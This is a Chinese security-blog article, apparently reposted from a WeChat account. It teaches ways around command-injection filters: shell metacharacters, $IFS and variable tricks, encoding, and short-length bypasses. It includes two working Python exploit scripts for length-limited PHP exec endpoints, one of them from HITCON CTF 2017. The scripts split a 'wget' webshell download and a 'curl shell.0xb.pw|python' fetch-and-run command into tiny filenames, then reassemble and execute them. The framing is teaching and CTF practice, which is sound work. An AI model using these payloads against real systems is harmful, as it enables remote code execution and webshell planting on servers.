Bypass一些命令注入限制的姿势

admin 2025年1月16日23:39:52评论21 views字数 3958阅读13分11秒阅读模式

命令注入

OS命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。

前置知识

说到命令注入,我们不得不提到命令注入中几个常用的符号。

&&

语法格式如下:command1 && command2 [&& command3 ...]1 命令之间使用 && 连接,实现逻辑与的功能。2 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。3 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

|(管道符号)

| 表示管道,上一条命令的输出,作为下一条命令的参数

||

语法格式如下:command1 || command2 [|| command3 ...]1 命令之间使用 || 连接,实现逻辑或的功能。2 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。3 只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。

&

& 表示将任务置于后台执行

;(分号)

多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

``和$()

在bash中,$( )与` `(反引号)都是用来作命令替换的。各自的优缺点:1. ` ` 基本上可用在全部的 unix shell 中使用,若写成 shell脚本,其移植性比较高,但反单引号容易打错或看错。2. $()更有可读性,但是$()并不是所有shell都支持。

()和{}

如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。(command1;command2;command3....){ command1;command2;command3…} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号相同点:()和{}都是把一串的命令放在括号里面,并且命令之间用;号隔开不同点()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行()最后一个命令可以不用分号,{}最后一个命令要用分号()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令

Shell 输入/输出重定向

来自菜鸟教程:

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。

命令说明:command > file:将输出重定向到 file。command < file:将输入重定向到 file。command >> file:将输出以追加的方式重定向到 file。n > file:将文件描述符为 n 的文件重定向到 file。n >> file:将文件描述符为 n 的文件以追加的方式重定向到 file。n >& m:将输出文件 m 和 n 合并。n <& m:将输入文件 m 和 n 合并。<< tag:将开始标记 tag 和结束标记 tag 之间的内容作为输入。需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。

正则表达式

^匹配输入字符串的开始位置。$匹配输入字符串的结束位置。*匹配前面的子表达式零次或多次+匹配前面的子表达式一次或多次。?匹配前面的子表达式零次或一次。{n}n 是一个非负整数。匹配确定的 n 次。{n,}n 是一个非负整数。至少匹配n 次。{n,m}m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。?当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。.匹配除换行符(n、r)之外的任何单个字符。[xyz]字符集合。匹配所包含的任意一个字符。

还有一些内置的通用字符簇

[[:alpha:]] 任何字母[[:digit:]] 任何数字[[:alnum:]] 任何字母和数字[[:space:]] 任何空白字符[[:upper:]] 任何大写字母[[:lower:]] 任何小写字母[[:punct:]] 任何标点符号[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

示例

一些常见的限制

通配符*和?的使用

Bypass一些命令注入限制的姿势

[]和{}的使用

Bypass一些命令注入限制的姿势

{...}与[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

Bypass一些命令注入限制的姿势

空格绕过

使用<和>

Bypass一些命令注入限制的姿势

使用特殊变量:$IFS

IFS的默认值为:空白(包括:空格,tab, 和新行)

Bypass一些命令注入限制的姿势

关键字过滤绕过

使用$*$@$x(x代表1-9),${x}(x>=10)
PS:因为在没有传参的情况下,上面的特殊变量都是为空的

Bypass一些命令注入限制的姿势

使用反斜杠

Bypass一些命令注入限制的姿势

使用变量

Bypass一些命令注入限制的姿势

Bypass一些命令注入限制的姿势

使用特殊变量${9}

${9}对应空字符串

Bypass一些命令注入限制的姿势

使用编码
base64

Bypass一些命令注入限制的姿势

16进制

Bypass一些命令注入限制的姿势

8进制

Bypass一些命令注入限制的姿势

使用双引号和单引号

Bypass一些命令注入限制的姿势

花括号还有一种用法:{command,argument},

Bypass一些命令注入限制的姿势

使用%0a(n),%0d(r),%09(t)等字符也可以bypass一些过滤,这里就会不多去赘述了

长度限制

例题1

<?php    $param = $_POST['param'];    if(strlen($param) < 17){        eval($param);}?>

很简单,长度不能大于等于17,直接在eval里面再用一个eval就可以了。

Bypass一些命令注入限制的姿势

例题2

<?php    if(strlen($_GET[1])<8){    echo shell_exec($_GET[1]);}?>
这里要用到我们前面所讲到的重定向,n > file:将文件描述符为 n 的文件重定向到 file。
既然我们不能一次执行一条完整的命令,我们可以分为多次,举个简单的例子:

Bypass一些命令注入限制的姿势

ls是默认以文件名排序的,所以我们为了控制我们命令的顺序,可以使用ls -t按时间逆序。
不过这里考虑到直接写shell有点麻烦(因为php中的一些符号用到shell中是有意义的,要各种转义,为了节省代码量我们直接用curl或者是wget从服务器dump一个shell下来)
exp如下:
import requestsname=[">php\",">\ 1.\\",">\ -O\\",">cn\\",">\ a.\\",">wget\\"]#可以修改hosts文件,让a.cn指向一个自己的服务器。#index.html是一个php的shellurl="http://10.10.92.130/test.php"for x in name:    print x    param={'1':x}    a=requests.get(url,params=param)param1={'1':'ls -t>a'}param2={'1':'sh a'}requests.get(url,params=param1)requests.get(url,params=param2)b=requests.get("http://10.10.92.130/1.php")if b.status_code == 200:    print "ok!"else:    print "bad!"

Bypass一些命令注入限制的姿势

可以发现成功写了shell

例题3

HITCON CTF 2017-BabyFirst Revenge

<?php   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);   @mkdir($sandbox);   @chdir($sandbox);   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {       @exec($_GET['cmd']);   } else if (isset($_GET['reset'])) {       @exec('/bin/rm -rf ' . $sandbox);   }   highlight_file(__FILE__);
这个字符长度限制不能大于5个,我们写字符还是可以的,但是我们的ls -t>a用不了,不过我们可以用前面的思路,把ls -t>a拆分为几段放在一个文件中,然后再执行。

Bypass一些命令注入限制的姿势

可以发现2-5行是可以执行ls -t>g的,然后后面的步骤就和前面一题一样了,这里就不多赘述了
贴一下Orange师傅的exp:
import requestsfrom time import sleepfrom urllib import quotepayload = [   # generate `ls -t>g` file   '>ls\',    'ls>_',    '> \',    '>-t\',    '>>g',    'ls>>_',    # generate `curl orange.tw.tw>python`   # curl shell.0xb.pw|python   '>on',    '>th\',    '>py\',   '>|\',    '>pw\',    '>x.\',   '>xx\',    '>l.\',    '>el\',    '>sh\',    '> \',    '>rl\',    '>cu\',    # exec   'sh _',    'sh g', ]# r = requests.get('http://localhost/tmp/?reset=1')for i in payload:   assert len(i) <= 5    r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )   print i   sleep(0.2)

原文始发于微信公众号(澜图安全):Bypass一些命令注入限制的姿势

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:39:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bypass一些命令注入限制的姿势https://cn-sec.com/archives/1079262.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息